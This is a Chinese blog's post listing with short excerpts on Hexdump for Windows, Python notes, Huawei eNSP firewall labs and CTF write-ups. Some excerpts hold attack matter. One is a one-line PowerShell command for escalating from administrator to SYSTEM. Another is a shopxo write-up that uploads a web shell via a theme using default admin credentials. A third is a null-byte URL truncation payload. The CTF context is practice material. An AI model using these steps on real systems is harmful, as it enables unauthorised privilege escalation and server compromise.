- 博客(17)
- 收藏
- 关注
RSS订阅原创 Windows命令行下的十六进制文件查看工具Hexdump
Hexdump for Windows官网下载地址：https://www.di-mgt.com.au/hexdump-for-windows.html在官网找到这个下载地址下载之后记得校验哈希值解压后，添加个这个路径的环境变量即可在终端运行官方readme.md (机翻了一下以便给读者更直观的体验)Hexdump.exe for windows一个Linux实用程序的简化版本，用于把文件以16进制形式的内容显示>hexdump -hUsage: hexd.
2020-06-20 23:36:04
13306
1
转载 Windows10一句话从administrator权限提升到system权限
在Twitter看到的，转载出来分享一下powershell -ep bypass "Install-Module -Name NtObjectManager;start-Win32ChildProcess cmd"
2020-06-18 21:51:59
9770
2
原创 Python学习笔记：类和对象
类和对象面向对象概念对象的定义封装继承多态性类对象和实例对象类对象实例对象属性实例属性类属性类是一种数据结构，可以包含数据成员和函数成员。程序中可以定义类，并创建和使用其对象实例。面向对象概念面向对象的程序设计具有三个基本特征：封装、继承、多态，可以大大的增加程序的可靠性、代码的可重用性和程序的可维护性，从而提高程序开发效率。对象的定义所谓对象，从概念层面讲，就是某种事物的抽象（功能）。抽象原则包括数据抽象和过程抽象两个方面：数据抽象就是定义对象属性；过程抽象就是定义对象操作。面
2020-06-17 23:32:21
1134
原创 [GKCTF2020]老八小超市儿
题目地址性感菜鸡在线搜索漏洞，找到一篇这个：渗透测试|shopxo后台全版本获取shell复现后台管理地址：/admin.php?s=/admin/logininfo.html默认账号密码登录即可：admin/shopxo下载好主题之后，在这个位置添加我们的一句话马儿然后把这个主题上传到网站进行安装安装完成之后，选择这个主题，然后访问路径：/public/static/index/lengyu/shell.php上蚁剑/flag是假的，但是有线索，提示说真正的flag的在/ro
2020-06-17 22:27:11
963
原创 [GKCTF2020]cve版签到
题目地址在线googlecve-2020-7066在低于7.2.29的PHP版本7.2.x，低于7.3.16的7.3.x和低于7.4.4的7.4.x中，将get_headers()与用户提供的URL一起使用时，如果URL包含零（\ 0）字符，则 URL将被静默地截断。 这可能会导致某些软件对get_headers()的目标做出错误的假设，并可能将某些信息发送到错误的服务器。貌似是get_headers()函数可以被%00截断测试payload：?url=http://127.0.0.1%0
2020-06-17 19:34:40
963
原创 [GKCTF2020]CheckIN
题目复现地址<title>Check_In</title><?php highlight_file(__FILE__);class ClassName{ public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo'];
2020-06-17 19:06:34
1094
原创 2020网鼎杯青龙组AreUSerialz
题目复现地址<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $conte.
2020-06-17 17:39:42
818
原创 华为模拟器eNSP防火墙双机热备实验
命令行配置简要步骤如下：配置所有接口IP在防火墙上规划接口区域，所有接口允许被ping防火墙配置安全策略，local到any配置虚拟地址并分配VRRP组以及备用设备组（这一步配置完之后，在R1和R2测试ping网关）主备防火墙配置HRP，以同步防火墙的策略和会话R1、R2配置缺省路由，主防火墙放行Trust到Untrust的策略首先需要开启防火墙，但是这里需要改一下备用防火墙FW2的防火墙服务端口GE 0/0/0的IP地址，不然会和主防火墙FW1的GEn0/0/0端口IP产生..
2020-06-11 16:30:50
8025
1
原创 华为模拟器eNSP将防火墙配置成三层核心交换机
命令行首先配置PC1、PC2、PC3、PC4、R1、R2、R3的接口，IP地址，掩码，网关PC1：PC2：PC3：R1:sysun in ensysname R1int e0/0/0ip address 192.168.70.7 24dis thisquitR2:sysun in ensysname R2int e0/0/0ip address 192.168.77.7 24dis thisquitR3:sysun in ensysname..
2020-06-09 01:37:12
9365
1
原创 华为模拟器eNSP防火墙配置vlan实验
实验目标：R1和R2在同一个vlan，R1只能通过telnet访问R2命令行配置首先配置号R1和R2的2接口地址，然后创建vlan，接着把防火墙的接口地址设置成透明交换机接口并加入vlanTrust1-R1:sysun in ensysname Trust1-R1int e0/0/0ip address 192.168.7.17 24dis thisquitTrust2-R2:sysun in ensysname Trust2-R2int e0/0/0ip a..
2020-06-07 15:18:09
10576
原创 华为eNSP模拟器防火墙配置透明交换机实验
命令行配置R1:sysun in ensysname R1int e0/0/0ip address 192.168.7.17 24dis thisquitdis ip int briefR2:sysun in ensysname R2int e0/0/0ip address 192.168.7.77 24dis thisquitdis ip int brief将防火墙上的两个端口设置成交换机端口FW:sysun in ensysname FWfire..
2020-06-06 22:51:09
8698
6
原创 华为模拟器eNSP使用SSH远程管理防火墙实验
实验要求：在R1上使用SSH远程管理防火墙FW1Local-FW1:syssysname FW1un in enrsa local-key-pair createint g1/0/0service-manage ssh permitdis thisquituser-int vty 0 4dis thisquitaaamanager-user mochu7password cipher M0c1nu7.level 15dis thisquitquitstelnet..
2020-06-06 16:46:26
5188
1
原创 华为模拟器eNSP端口映射配置实验
实验要求：把R3上的23号端口映射到外网GE 1/0/1端口上，R2使用telnet服务登录R3命令行配置在DMZ区的R3上需要先配置一条缺省路由，然后再添加一个Telnet登录的验证密码DMZ-R3:sysun in enip route-static 0.0.0.0 0 123.4.5.1dis ip routing-tableuser-interface vty 0 4user privilege level 3set authentication password..
2020-06-06 14:56:28
12439
1
原创 Python学习笔记：错误和异常处理
错误和异常处理程序的错误语法错误运行时错误逻辑错误异常处理异常处理概述内置的异常类引发异常捕获处理异常机制概述Python虚拟机捕获处理异常使用try...except...else...finally语句捕获处理异常捕获异常的顺序finally块和发生异常后的处理自定义异常类断言处理断言处理概述assert语句和AssertionError类启用/禁用断言程序的基本调试方法语法错误的调试运行时错误的调试逻辑错误的调试程序的编写和运行过程中，不可避免会产生错误bugs和异常exceptions，Pyt
2020-06-06 10:14:19
2592
原创 Python学习笔记：输入和输出
输入和输出输入和输出概述命令行参数sys.argv与命令行参数argparse模块和命令行参数解析标准输入和标准输出函数运行时提示输入密码文件和文件对象文件对象和open函数文件的打开、写入、读取和关闭with语句和上下文管理协议标准输入、输出和错误流标准输入、输出、和错误流文件对象读取任意长度的输入流标准输入、输出和错误流重定向重定向和管道重定向标准输出到一个文件重定向文件到标准输入管道过滤器输入和输出概述程序通过输入接受待处理的数据；然后执行相应的处理；最后通过输出返回处理结果Pytho
2020-06-03 21:34:16
1360
原创 Python学习笔记：系列数据类型
系列数据类型Python系列数据概述数组系列数据类型系列数据的基本操作系列的长度，最大值，最小值，求和系列中索引访问操作系列的切片操作系列的连接和重复操作Python系列数据概述数组数组一种数据结构，用于存储和处理大量数据。将所有的数据存储在一个或多个数据中，然后通过索引下标访问并处理数组元素，可以实现复杂数据处理任务。Python语言并没有提供直接创建数组的功能，但可以使用其内置的系列数据类型（例如列表list），实现数组功能。系列数据类型系列数据类型是Python基础的数据结构，是一组
2020-06-02 21:27:07
1525
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人